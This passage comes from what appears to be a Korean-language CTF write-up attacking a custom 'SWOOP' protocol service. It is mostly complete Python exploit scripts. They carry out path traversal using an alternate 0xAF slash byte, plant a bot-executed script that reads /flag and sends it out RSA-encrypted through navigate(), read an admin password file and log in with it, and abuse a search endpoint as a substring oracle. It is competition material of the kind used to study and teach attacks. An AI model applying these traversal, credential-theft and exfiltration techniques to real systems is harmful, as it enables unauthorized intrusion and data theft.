        body += statement(encode("out=out+") + literal("-") + encode(f"+{cipher}"))
        code += if_block(encode(f"start+{offset}<=stop"), body)

    return code + statement(call("navigate", encode("out")))


ENCRYPTION_CALLBACK = encryption_callback()


def noteview_target(path):
    if path.startswith("/"):
        raise ValueError("READ_PATH must be relative to VFS_ROOT")
    parts = path.split("/")
    if not parts or any(not part for part in parts):
        raise ValueError("READ_PATH contains an empty segment")
    encoded_parts = [encode(part) for part in parts]
    return encode("note/view/") + b"\xaf".join(encoded_parts)


def make_noteview_talon():
    request = object_value([
        ("target", raw_literal(noteview_target(read_path))),
        ("roost", literal(roost)),
        ("action", literal("PECK")),
    ])
    return statement(call("fetch", request, function_value(["resp"], ENCRYPTION_CALLBACK)))


TALON = make_noteview_talon()


def unique_twig():
    nonce = secrets.token_hex(6)
    twig = TWIG.replace(encode("note/hit.tln"), encode("viewtrap/" + nonce + ".tln"), 1)
    twig = twig.replace(encode("note/hit.plm"), encode("viewtrap/" + nonce + ".plm"), 1)
    if twig == TWIG:
        raise RuntimeError("failed to randomize resource targets")
    return twig


def response_frame(request_id, resource_type, body):
    request_word = struct.pack(">H", request_id)
    return (
        b"de\x01" + request_word + encode("status") + b"\x77\x70\x77"
        + encode("type") + b"\x77" + encode(resource_type)
        + b"\x74du\x01" + request_word + body + b"\x74"
    )


class VisitorConnection:
    def __init__(self):
        self.socket = socket.create_connection((ip, port), socket_timeout)
        self.socket.settimeout(socket_timeout)
        self.buffer = bytearray()
        self.sent = bytearray()
        self.received = bytearray()

    def send(self, data):
        self.sent.extend(data)
        self.socket.sendall(data)

    def recv(self):
        try:
            data = self.socket.recv(65536)
        except socket.timeout:
            return b""
        self.received.extend(data)
        return data

    def recv_exact(self, size):
        result = bytearray()
        while len(result) < size:
            chunk = self.recv()
            if not chunk:
                break
            result.extend(chunk)
        return bytes(result)

    def receive_request(self, request_id):
        terminator = b"du\x01" + struct.pack(">H", request_id) + b"\x74"
        while True:
            offset = self.buffer.find(terminator)
            if offset >= 0:
                end = offset + len(terminator)
                request = bytes(self.buffer[:end])
                del self.buffer[:end]
                return request
            chunk = self.recv()
            if not chunk:
                raise RuntimeError(f"visitor request {request_id} was not received")
            self.buffer.extend(chunk)

    def transcript(self):
        return bytes(self.sent + self.received)

    def close(self):
        try:
            self.socket.close()
        except OSError:
            pass


def decrypt_target(target):
    parts = target.split("-")
    if parts[0] != CIPHER_PREFIX or len(parts) == 1:
        raise RuntimeError("invalid encrypted target")
    plaintext = []
    for position, block_text in enumerate(parts[1:], 1):
        block = int(block_text)
        if not 0 <= block < RSA_N:
            raise RuntimeError("RSA block is out of range")
        message = pow(block, RSA_D, RSA_N)
        index = message - len(ALPHABET) * position - 1
        if not 0 <= index < len(ALPHABET):
            raise RuntimeError("RSA plaintext block is invalid")
        plaintext.append(ALPHABET[index])
    flag = "".join(plaintext)
    if FLAG_RE.fullmatch(flag) is None:
        raise RuntimeError("decrypted value is not a flag")
    return flag


def run_once(verbose=True):
    connection = VisitorConnection()
    try:
        connection.send(b"V")
        handshake = connection.recv_exact(6)
        if len(handshake) != 6 or not handshake.startswith(b"df"):
            raise RuntimeError("invalid broker handshake")
        connection.send(handshake)
        if verbose:
            print("[*] Handshake OK")

        for request_id, resource_type, body in (
            (1, "twig", unique_twig()), (2, "talon", TALON), (3, "plumage", PLUMAGE),
        ):
            connection.receive_request(request_id)
            connection.send(response_frame(request_id, resource_type, body))
            if verbose:
                print(f"[+] Served request {request_id} ({resource_type})")

        cipher_request = connection.receive_request(4)
        match = re.search(rf"target({CIPHER_PREFIX}(?:-[0-9]+)+)roost", decode(cipher_request))
        if match is None:
            raise RuntimeError("encrypted flag was not returned")
        flag = decrypt_target(match.group(1))
        connection.send(response_frame(4, "twig", b"\x04" + encode("root") + b"\x14"))

        transcript = connection.transcript()
        if flag.encode("ascii") in transcript or encode(flag) in transcript or flag in decode(transcript):
            raise RuntimeError("plaintext flag appeared on the external connection")
        return flag
    finally:
        connection.close()


def run():
    last_error = "no result"
    for attempt in range(max_tries):
        try:
            return run_once()
        except Exception as exc:
            last_error = str(exc) or type(exc).__name__
            print(f"[!] Attempt {attempt + 1} failed: {last_error}")
        if attempt + 1 < max_tries:
            time.sleep(poll_seconds)
    raise RuntimeError(f"failed after {max_tries} tries: {last_error}")


def main():
    print(f"[*] (IP={ip}, PORT={port}, ROOST={roost}, READ_PATH={read_path})")
    try:
        flag = run()
    except Exception as exc:
        print(f"exploit failed: {exc}", file=sys.stderr)
        return 1
    print(f"[+] FLAG: {flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

VULN #3 - fragment Path Traversal (0x67 바이트 우회)

근본 원인은 앞서 확인한 note/view 버전과 동일합니다. SWOOP는 일반 텍스트(ASCII)를 그대로 쓰지 않고, 커스텀 규칙에 따라 한 글자씩 다른 바이트로 바꿔서 전송합니다. 이때, 커스텀 규칙에 따른 문자 치환 과정에서 0xAF 바이트도 /로 해석되는 문제가 존재하여 Path Traversal 취약점이 발생합니다. 이 취약점이 fragment resolver에도 그대로 적용됩니다.

인증 없이 fragment에 직접 요청을 보내면, Path Traversal 자체는 필터를 우회해 파일까지 도달하게 됩니다. 이때, “fragment not found”와는 다른 “render error” 응답이 반환됩니다. 이는 파일을 찾았으나 랜더링 단계에서 문제가 존재함을 의미합니다.

하지만, “render error” 오류가 Path Traversal 자체를 막지는 못합니다. fetch()의 콜백 안에서 resp.body를 스크립트로 직접 읽으면, 페이지 렌더링이 실패하기 전에 원하는 파일을 읽어 올 수 있습니다.

HEAD  action=PERCH  target=fragment  roost=defcon_defender  mode=fetch  species=peregrine
BODY  $'partial'&'../../flag'4

(partial 값 안의 /는 전부 대체 바이트 0xAF로 인코딩됩니다. note/view와 달리 공격 구문이 target이 아닌 body의 partial 필드에 포함됩니다.)

이 요청으로 인해 /flag 파일을 읽어올 수 있게 됩니다.

공격 흐름

  1. 공격자가 broker에 ‘V’(visitor) 셀렉터로 접속해 handshake 수행
  2. broker가 봇(swoop-bot)을 깨우게 되고, 봇이 브라우저(peregrine)를 통해 twig/talon/plumage 3개 리소스를 broker에 요청 (공격자에게 전달됨)
  3. 공격자는 broker를 통해 TALON을 전달
    • fetch({ target: ‘frag/<랜덤 nonce="">', roost: 'defcon_defender', action: 'PERCH', headers: { target: 'fragment' }, body: lay({ partial: '../../flag'(0xAF 인코딩 적용) }) })
    • (콜백: resp.body를 문자 단위로 RSA 암호화 → navigate)
  4. 브라우저(peregrine)가 TALON을 실행하면서 fragment가 필터를 우회해 /flag 내용을 읽음 → 콜백이 resp.body를 읽고 암호화 후 navigate 수행
  5. 공격자는 broker를 통해 암호화된 결과를 수신하고, RSA 개인키로 복호화하여 flag 획득

Exploit Code

import os
import base64
import re
import secrets
import socket
import struct
import sys
import time

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8083"))
roost = os.environ.get("ROOST", "defcon_defender")
read_path = os.environ.get("READ_PATH", os.environ.get("TRAVERSAL_PATH", "../../flag"))
socket_timeout = float(os.environ.get("SOCKET_TIMEOUT", "15"))
max_tries = int(os.environ.get("MAX_TRIES", "2"))
poll_seconds = float(os.environ.get("POLL_SECONDS", "0.25"))

TWIG = base64.b64decode(
    "poCkhoSmd6ChpoRnh4imxqaLoHemq6KEd6aAi6GgB6aApIaEpnegoaaEZ4eIpsaii4x3pquihHeii6eMgIaEBwSHiKYGBIiFBYKhoIOIpoihoAUWhaGnoIMWBgSmh4SgBgSLiAYEoICMhAYWiIMWFASLiKCEBhaBhIWhpIQWBIyApIoGFqOnhKSrFhQWgIWmhKQWFBQUFBQ="
)
PLUMAGE = base64.b64decode(
    "h4imKouAq6GnpiqCoYunjKAqqYiDpocq8ODg0zqLiCqLgKuhp6YqgqGLp4ygKoaAoirhoqoqgYCCioakoaeggyrX8PLwg/HxKoGhpIOEpCrwoqra1+GC8YDygCqigIODiKCGKuOiqiqpiIOmhyrw4ODTOqCAjIQqhaGgptCliKyEKvDgoqoqgqGLoaQq1+Tx9OKB4DqLiKCEKoWhoKbQpYishCrw4aKqKoKhi6GkKteE4YTkheA6jICkiiqBgIKKhqShp6CDKtfzg4PxhYIqgqGLoaQq1+CB8ODh4A=="
)

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

RSA_N = 91122709
RSA_D = 26813825
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"
MAX_FLAG_LENGTH = 64
CIPHER_PREFIX = "MCENCF" + secrets.token_hex(6)
FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")


def encode(value):
    return bytes(ENCODE[char] for char in value)


def decode(value):
    return "".join(DECODE.get(byte, "") for byte in value)


def call(name, *arguments):
    return encode(name) + b"\x47" + b"\x49".join(arguments) + b"\x57"


def literal(value):
    return b"\x27" + encode(value) + b"\x27"


def text_literal(value):
    """Like literal(), but every '/' is encoded as the 0xAF bypass byte
    instead of the app's own 0x67 -- this is the actual traversal payload."""
    encoded = bytes(0xAF if char == "/" else ENCODE[char] for char in value)
    return b"\x27" + encoded + b"\x27"


def statement(value):
    return value + b"\x5a"


def if_block(condition, body):
    return encode("if") + b"\x45" + condition + b"\x55\x44" + body + b"\x54\x5a"


def object_value(items):
    result = bytearray(b"\x24")
    for index, (key, value) in enumerate(items):
        if index:
            result.append(0x36)
        result += b"\x27" + encode(key) + b"\x27\x26" + value
    result.append(0x34)
    return bytes(result)


def function_value(arguments, body):
    return b"\x48" + b"\x36".join(encode(a) for a in arguments) + b"\x59\x44" + body + b"\x54\x58"


def encryption_callback():
    code = statement(encode("let text=resp.body"))
    code += statement(encode("let start=") + call("index_of", encode("text"), literal("bbb{")))
    code += statement(encode("let stop=") + call("index_of", encode("text"), literal("}")))

    function_body = statement(encode("let r=m"))
    for _ in range(16):
        function_body += statement(encode(f"r=r*r%{RSA_N}"))
    function_body += statement(encode(f"r=r*m%{RSA_N}"))
    function_body += statement(encode("return r"))
    code += encode("enc=") + b"\x48" + encode("m") + b"\x59\x44" + function_body + b"\x54\x58\x5a"
    code += statement(encode("out=") + literal(CIPHER_PREFIX))

    for offset in range(MAX_FLAG_LENGTH):
        character, message, cipher = f"ch{offset}", f"m{offset}", f"c{offset}"
        body = statement(
            encode(f"let {character}=")
            + call("slice", encode("text"), encode(f"start+{offset}"), encode(f"start+{offset + 1}"))
        )
        body += statement(
            encode(f"let {message}=")
            + call("index_of", literal(ALPHABET), encode(character))
            + encode(f"+1+{len(ALPHABET)}*{offset + 1}")
        )
        body += statement(encode(f"let {cipher}=") + call("enc", encode(message)))
        body += statement(encode("out=out+") + literal("-") + encode(f"+{cipher}"))
        code += if_block(encode(f"start+{offset}<=stop"), body)

    return code + statement(call("navigate", encode("out")))


ENCRYPTION_CALLBACK = encryption_callback()


def make_fragment_talon():
    if read_path.startswith("/"):
        raise ValueError("READ_PATH must be relative to PUBLIC_ROOT")
    if not read_path or "//" in read_path:
        raise ValueError("READ_PATH contains an empty segment")

    cache_target = "frag/" + secrets.token_hex(6)
    request = object_value([
        ("target", literal(cache_target)),
        ("roost", literal(roost)),
        ("action", literal("PERCH")),
        ("headers", object_value([("target", literal("fragment"))])),
        ("body", call("lay", object_value([("partial", text_literal(read_path))]))),
    ])
    return statement(call("fetch", request, function_value(["resp"], ENCRYPTION_CALLBACK)))


TALON = make_fragment_talon()


def unique_twig():
    nonce = secrets.token_hex(6)
    twig = TWIG.replace(encode("note/hit.tln"), encode("fragment/" + nonce + ".tln"), 1)
    twig = twig.replace(encode("note/hit.plm"), encode("fragment/" + nonce + ".plm"), 1)
    if twig == TWIG:
        raise RuntimeError("failed to randomize resource targets")
    return twig


def response_frame(request_id, resource_type, body):
    request_word = struct.pack(">H", request_id)
    return (
        b"de\x01" + request_word + encode("status") + b"\x77\x70\x77"
        + encode("type") + b"\x77" + encode(resource_type)
        + b"\x74du\x01" + request_word + body + b"\x74"
    )


class VisitorConnection:
    def __init__(self):
        self.socket = socket.create_connection((ip, port), socket_timeout)
        self.socket.settimeout(socket_timeout)
        self.buffer = bytearray()
        self.sent = bytearray()
        self.received = bytearray()

    def send(self, data):
        self.sent.extend(data)
        self.socket.sendall(data)

    def recv(self):
        try:
            data = self.socket.recv(65536)
        except socket.timeout:
            return b""
        self.received.extend(data)
        return data

    def recv_exact(self, size):
        result = bytearray()
        while len(result) < size:
            chunk = self.recv()
            if not chunk:
                break
            result.extend(chunk)
        return bytes(result)

    def receive_request(self, request_id):
        terminator = b"du\x01" + struct.pack(">H", request_id) + b"\x74"
        while True:
            offset = self.buffer.find(terminator)
            if offset >= 0:
                end = offset + len(terminator)
                request = bytes(self.buffer[:end])
                del self.buffer[:end]
                return request
            chunk = self.recv()
            if not chunk:
                raise RuntimeError(f"visitor request {request_id} was not received")
            self.buffer.extend(chunk)

    def transcript(self):
        return bytes(self.sent + self.received)

    def close(self):
        try:
            self.socket.close()
        except OSError:
            pass


def decrypt_target(target):
    parts = target.split("-")
    if parts[0] != CIPHER_PREFIX or len(parts) == 1:
        raise RuntimeError("invalid encrypted target")
    plaintext = []
    for position, block_text in enumerate(parts[1:], 1):
        block = int(block_text)
        if not 0 <= block < RSA_N:
            raise RuntimeError("RSA block is out of range")
        message = pow(block, RSA_D, RSA_N)
        index = message - len(ALPHABET) * position - 1
        if not 0 <= index < len(ALPHABET):
            raise RuntimeError("RSA plaintext block is invalid")
        plaintext.append(ALPHABET[index])
    flag = "".join(plaintext)
    if FLAG_RE.fullmatch(flag) is None:
        raise RuntimeError("decrypted value is not a flag")
    return flag


def run_once(verbose=True):
    connection = VisitorConnection()
    try:
        connection.send(b"V")
        handshake = connection.recv_exact(6)
        if len(handshake) != 6 or not handshake.startswith(b"df"):
            raise RuntimeError("invalid broker handshake")
        connection.send(handshake)
        if verbose:
            print("[*] Handshake OK")

        for request_id, resource_type, body in (
            (1, "twig", unique_twig()), (2, "talon", TALON), (3, "plumage", PLUMAGE),
        ):
            connection.receive_request(request_id)
            connection.send(response_frame(request_id, resource_type, body))
            if verbose:
                print(f"[+] Served request {request_id} ({resource_type})")

        cipher_request = connection.receive_request(4)
        match = re.search(rf"target({CIPHER_PREFIX}(?:-[0-9]+)+)roost", decode(cipher_request))
        if match is None:
            raise RuntimeError("encrypted flag was not returned")
        flag = decrypt_target(match.group(1))
        connection.send(response_frame(4, "twig", b"\x04" + encode("root") + b"\x14"))

        transcript = connection.transcript()
        if flag.encode("ascii") in transcript or encode(flag) in transcript or flag in decode(transcript):
            raise RuntimeError("plaintext flag appeared on the external connection")
        return flag
    finally:
        connection.close()


def run():
    last_error = "no result"
    for attempt in range(max_tries):
        try:
            return run_once()
        except Exception as exc:
            last_error = str(exc) or type(exc).__name__
            print(f"[!] Attempt {attempt + 1} failed: {last_error}")
        if attempt + 1 < max_tries:
            time.sleep(poll_seconds)
    raise RuntimeError(f"failed after {max_tries} tries: {last_error}")


def main():
    print(f"[*] (IP={ip}, PORT={port}, ROOST={roost}, READ_PATH={read_path})")
    try:
        flag = run()
    except Exception as exc:
        print(f"exploit failed: {exc}", file=sys.stderr)
        return 1
    print(f"[+] FLAG: {flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

VULN #4 - attachments Path Traversal (0x67 바이트 우회)

근본 원인은 앞서 확인한 note/view 버전과 동일합니다. SWOOP는 일반 텍스트(ASCII)를 그대로 쓰지 않고, 커스텀 규칙에 따라 한 글자씩 다른 바이트로 바꿔서 전송합니다. 이때, 커스텀 규칙에 따른 문자 치환 과정에서 0xAF 바이트도 /로 해석되는 문제가 존재하여 Path Traversal 취약점이 발생합니다. 이 취약점이 attachments resolver에도 그대로 적용됩니다.

HEAD  action=PECK  target=attachments/../../flag  roost=defcon_defender  mode=fetch  species=peregrine

해당 취약점을 활용하여 flag 파일(/flag)을 읽을 수 있습니다. 다만, note/view, fragment 엔드포인트와 다른 점이 존재합니다. note/view, fragment 엔드포인트는 서버가 응답을 SWOOP 알파벳으로 인코딩해서 보내므로, bot 측에서 SWOOP 함수들(index_of(), slice() 등)을 바로 사용할 수 있습니다.

하지만, attachments는 응답이 SWOOP 문자 치환 방식을 거치지 않고 raw 파일 바이트를 그대로 스트리밍합니다.

  1. raw ASCII 마커 매칭
    SWOOP 인코딩 없이 raw 바이트를 직접 비교해야 하므로 raw_literal() 사용
  2. raw ASCII 문자를 받아 알파벳 위치를 반환하는 함수 포함
    SWOOP-encoded 문자에서 알파벳 위치를 찾는 함수(index_of())를 사용할 수 없으므로, raw_index() 함수 포함 필요
     raw_index(x) = (
         if x == '0' then 0
         else if x == '1' then 1
         ...
         else if x == 'f' then 15
         else if x == '{' then 16
         else -1
     )
    
  3. TALON 크기 제한으로 인해 알파벳 제한
    TALON 컴파일 시 플래그 길이(MAX_FLAG_LENGTH) × 알파벳 크기 = if-block 수가 되고, 이에 따라 TALON 크기가 결정됩니다. TALON 크기는 9,000 바이트 이내여야 하며, 초과 시 스택 크래시가 발생합니다.

    65자 알파벳으로는 37자 flag만 해도 if-block이 너무 많아져 TALON이 9,000 바이트를 초과하므로, 17자 알파벳으로 제한하면 최대 64자 flag까지 대비 가능하고 TALON 최대 바이트를 초과하지 않고 플래그를 추출할 수 있습니다.

공격 흐름

  1. 공격자가 broker에 ‘V’(visitor) 셀렉터로 접속해 handshake 수행
  2. broker가 봇(swoop-bot)을 깨우게 되고, 봇이 브라우저(peregrine)를 통해 twig/talon/plumage 3개 리소스를 broker에 요청 (공격자에게 전달됨)
  3. 공격자는 broker를 통해 TALON을 전달
    • fetch({ target: ‘attachments/<0x67>..<0xAF>..<0xAF>flag’(0xAF 인코딩 적용), roost: ‘defcon_defender’, action: ‘PECK’ })
    • (콜백: raw ASCII resp.body를 raw_index() + RSA 암호화 → navigate)
  4. 브라우저(peregrine)가 TALON을 실행하면서 attachments가 필터를 우회해 /flag 내용을 반환 (raw 파일 바이트) → 콜백이 이를 즉시 암호화해 navigate()
  5. 공격자는 broker를 통해 암호화된 결과를 수신하고, RSA 개인키로 복호화하여 flag 획득

Exploit Code

import os
import re
import socket
import struct
import sys
import time

START, HEAD, HANDSHAKE_TYPE, END, BODY, SEP = 0x64, 0x65, 0x66, 0x74, 0x75, 0x77
PECK, PERCH = 0x03, 0x10
HANDSHAKE = bytes([START, HANDSHAKE_TYPE, 0, 0, 0, END])

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8128"))
roost = os.environ.get("ROOST", "defcon_defender")
note_name = os.environ.get("NOTE_NAME", "rotation-schedule")

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")
HEX32_RE = re.compile(r"(?<![0-9a-f])[0-9a-f]{32}(?![0-9a-f])")


def enc(s):
    return bytes(ENCODE[c] for c in s)


def dec(b):
    return "".join(DECODE.get(x, "") for x in b)


def make_frame(t, sid, payload):
    return bytes([START, t, 0x01]) + struct.pack(">H", sid) + payload + bytes([END])


def iter_frames(data):
    off = 0
    while off < len(data):
        s = data.find(bytes([START]), off)
        if s < 0:
            return
        e = data.find(bytes([END]), s + 1)
        if e < 0:
            return
        ftype = data[s + 1]
        raw = data[s + 2:e]
        sid, payload = None, raw
        if len(raw) >= 3 and raw[0] == 0x01:
            sid = struct.unpack(">H", raw[1:3])[0]
            payload = raw[3:]
        yield ftype, sid, payload, e + 1
        off = e + 1


def make_body(d):
    parts = [bytes([0x24])]
    items = list(d.items())
    for i, (k, v) in enumerate(items):
        parts.append(bytes([0x27]) + enc(k) + bytes([0x27, 0x26, 0x27]) + enc(v) + bytes([0x27]))
        parts.append(bytes([0x36]) if i < len(items) - 1 else bytes([0x34]))
    return b"".join(parts)


def alternate_attachment_target(parts, depth):
    """attachments/<0x67><../../..-with-0xAF-slashes><parts joined by 0xAF>"""
    traversal = bytes([0xC6, 0xC6, 0xAF]) * depth  # ".." + alt-slash, repeated
    return enc("attachments") + bytes([0x67]) + traversal + bytes([0xAF]).join(enc(p) for p in parts)


class Swoop:
    def __init__(self, host, port, roost=roost, timeout=5):
        self.host, self.port, self.roost, self.timeout = host, port, roost, timeout
        self.sid = 0
        self.sock = socket.create_connection((host, port), timeout)
        self.sock.settimeout(timeout)
        self.sock.sendall(HANDSHAKE)
        self.buf = bytearray()
        self._pump(0.3)
        seen = list(iter_frames(bytes(self.buf)))
        self.consumed = seen[-1][3] if seen else 0

    def _pump(self, wait):
        deadline = time.monotonic() + wait
        self.sock.settimeout(max(0.05, wait))
        while time.monotonic() < deadline:
            try:
                chunk = self.sock.recv(65536)
            except socket.timeout:
                return
            if not chunk:
                return
            self.buf += chunk

    def call(self, target_bytes, action, body=None, session=None):
        """target_bytes: pre-encoded target (bytes), so callers can smuggle
        raw traversal bytes without going through the '/' == 0x67 encoder."""
        self.sid = (self.sid + 1) & 0xFFFF or 1
        env = (enc("action") + bytes([SEP, action, SEP]) +
               enc("target") + bytes([SEP]) + target_bytes + bytes([SEP]) +
               enc("roost") + bytes([SEP]) + enc(self.roost) + bytes([SEP]) +
               enc("mode") + bytes([SEP]) + enc("fetch") + bytes([SEP]) +
               enc("species") + bytes([SEP]) + enc("peregrine"))
        if session:
            env += bytes([SEP]) + enc("session") + bytes([SEP]) + enc(session)
        payload = make_body(body) if body else b""
        self.sock.sendall(make_frame(HEAD, self.sid, env) + make_frame(BODY, self.sid, payload))
        deadline = time.monotonic() + self.timeout
        last = b""
        while time.monotonic() < deadline:
            for ftype, sid, payload, end in iter_frames(bytes(self.buf)):
                if end <= self.consumed:
                    continue
                if sid != self.sid:
                    self.consumed = max(self.consumed, end)
                    continue
                self.consumed = max(self.consumed, end)
                if ftype == BODY:
                    return payload
            try:
                self.sock.settimeout(max(0.05, deadline - time.monotonic()))
                chunk = self.sock.recv(65536)
            except socket.timeout:
                break
            if not chunk:
                break
            self.buf += chunk
        return last

    def close(self):
        self.sock.close()


def main():
    print(f"[*] attachments chain (IP={ip}, PORT={port}, ROOST={roost}, NOTE={note_name})")

    # Step 1: unauthenticated traversal read of the credential DB
    target = alternate_attachment_target(["srv", "db", "users", "admin.json"], 2)
    c1 = Swoop(ip, port)
    raw = c1.call(target, PECK)
    c1.close()
    text = raw.decode("latin1", "ignore")
    print("[1] attachments/../../srv/db/users/admin.json ->", text.strip())

    password_match = re.search(r'"password"\s*:\s*"([^"]+)"', text)
    if password_match is None:
        sys.exit("[!] traversal did not return a password field")
    password = password_match.group(1)
    print(f"[+] recovered admin password: {password}")

    # Step 2: completely ordinary login with the stolen password
    c2 = Swoop(ip, port)
    login_resp = c2.call(enc("login"), PERCH, body={"username": "admin", "password": password})
    c2.close()
    login_text = dec(login_resp)
    print("[2] PERCH login {admin, stolen password} ->", login_text)

    token_match = HEX32_RE.search(login_text)
    if token_match is None:
        sys.exit("[!] login did not produce a session token")
    token = token_match.group(0)
    print(f"[+] session token: {token}")

    # Step 3: read the flag through the normal, non-injection note/content path
    c3 = Swoop(ip, port)
    content_resp = c3.call(enc("note/content"), PERCH, body={"name": note_name}, session=token)
    c3.close()
    content_text = dec(content_resp)
    print("[3] PERCH note/content ->", content_text)

    flag_match = FLAG_RE.search(content_text)
    if flag_match is None:
        sys.exit("[!] note/content did not return a flag")
    print(f"[+] FLAG: {flag_match.group(0)}")


if __name__ == "__main__":
    main()

VULN #5 - note/search Broken Access Control & Substring Oracle

note/search 엔드포인트는 사용자가 검색한 문자열이 노트 내용에 포함되어 있을 경우, 문자열이 매칭된 노트 이름이 반환됩니다. 이때, 인증 없이 누구나 요청이 가능하여 admin 관리자가 작성한 노트 이름(rotation-schedule)도 검색 대상에 포함됩니다. 즉, substring 매칭을 오라클로 사용하여 bbb{ 값부터 한 글자씩 후보를 늘려가며 반복적으로 질의하면 전체 flag를 복원할 수 있습니다.

HEAD  action=PERCH  target=note/search  roost=defcon_defender  mode=fetch  species=peregrine
BODY  $'query'&'bbb{'4

공격자는 브로커를 통해 요청이 가능한데 브로커를 여러번 호출하는 형태로 브루트포스 공격을 시도하게 되면 시간이 오래걸립니다. 그리하여, 브루트포스 공격 시, 공격자 추가 개입 없이 bot(peregrine) 안에서 자체적으로 실행되도록 했습니다.

TALON 안에 fetch() 콜백이 매칭되면 후보 문자열을 한 글자 늘려 probe()를 다시 호출하고, 매칭되지 않으면 다음 문자로 넘어가 다시 probe()를 호출하는 식으로 재귀합니다. 공격자는 twig/talon/plumage를 딱 한 번만 서빙하고, 그 뒤로는 bot이 최대 128자리까지 반복 질의를 수행하여 플래그를 알아낼 수 있습니다.

공격 흐름

  1. 공격자가 broker에 ‘V’(visitor) 셀렉터로 접속해 handshake 수행
  2. broker가 봇(swoop-bot)을 깨우게 되고, 봇이 브라우저(peregrine)를 통해 twig/talon/plumage 3개 리소스를 broker에 요청 (공격자에게 전달됨)
  3. 공격자는 broker를 통해 TALON을 전달하여, 아래 요청을 반복하며 플래그 값을 알아내고 마지막 문자가 }와 매칭되면, finish()를 호출
    • 검색 문자열과 플래그 일부가 매칭될 경우, 콜백 함수에서 flag가 포함된 노트 이름이 검색되어 문자 후보를 확정
    • 검색 문자열과 플래그 일부가 매칭되지 않을 경우,: 다음 후보 문자로 넘어가 probe() 재귀 호출
  4. 브라우저(peregrine)가 TALON을 실행하면서 공격자 개입 없이 자체적으로 최대 128회 재귀 질의를 반복해 flag 전체를 확정 → finish()가 암호화된 결과를 반환 (콜백: resp.body를 문자 단위로 RSA 암호화 → navigate)
  5. 공격자는 broker를 통해 암호화된 결과를 수신하고, RSA 개인키로 복호화하여 flag 획득

Exploit Code

import os
import base64
import re
import secrets
import socket
import struct
import sys
import time

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8083"))
roost = os.environ.get("ROOST", "defcon_defender")
note_name = os.environ.get("NOTE_NAME", "rotation-schedule")
socket_timeout = float(os.environ.get("SOCKET_TIMEOUT", "280"))
max_tries = int(os.environ.get("MAX_TRIES", "2"))
poll_seconds = float(os.environ.get("POLL_SECONDS", "0.25"))

TWIG = base64.b64decode(
    "poCkhoSmd6ChpoRnh4imxqaLoHemq6KEd6aAi6GgB6aApIaEpnegoaaEZ4eIpsaii4x3pquihHeii6eMgIaEBwSHiKYGBIiFBYKhoIOIpoihoAUWhaGnoIMWBgSmh4SgBgSLiAYEoICMhAYWiIMWFASLiKCEBhaBhIWhpIQWBIyApIoGFqOnhKSrFhQWgIWmhKQWFBQUFBQ="
)
PLUMAGE = base64.b64decode(
    "h4imKouAq6GnpiqCoYunjKAqqYiDpocq8ODg0zqLiCqLgKuhp6YqgqGLp4ygKoaAoirhoqoqgYCCioakoaeggyrX8PLwg/HxKoGhpIOEpCrwoqra1+GC8YDygCqigIODiKCGKuOiqiqpiIOmhyrw4ODTOqCAjIQqhaGgptCliKyEKvDgoqoqgqGLoaQq1+Tx9OKB4DqLiKCEKoWhoKbQpYishCrw4aKqKoKhi6GkKteE4YTkheA6jICkiiqBgIKKhqShp6CDKtfzg4PxhYIqgqGLoaQq1+CB8ODh4A=="
)

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

RSA_N = 91122709
RSA_D = 26813825
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-"
SEARCH_CHARS = "0123456789abcdef}" + "".join(
    c for c in ALPHABET if c not in "0123456789abcdef}"
)
MAX_FLAG_LENGTH = 128
CIPHER_PREFIX = "MCENCO" + secrets.token_hex(6)
FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")


def encode(value):
    return bytes(ENCODE[char] for char in value)


def decode(value):
    return "".join(DECODE.get(byte, "") for byte in value)


def call(name, *arguments):
    return encode(name) + b"\x47" + b"\x49".join(arguments) + b"\x57"


def literal(value):
    return b"\x27" + encode(value) + b"\x27"


def statement(value):
    return value + b"\x5a"


def object_value(items):
    result = bytearray(b"\x24")
    for index, (key, value) in enumerate(items):
        if index:
            result.append(0x36)
        result += b"\x27" + encode(key) + b"\x27\x26" + value
    result.append(0x34)
    return bytes(result)


def function_value(arguments, body):
    return b"\x48" + b"\x36".join(encode(a) for a in arguments) + b"\x59\x44" + body + b"\x54\x58"


def function_statement(name, arguments, body):
    return statement(encode(name + "=") + function_value(arguments, body))


def if_block(condition, body):
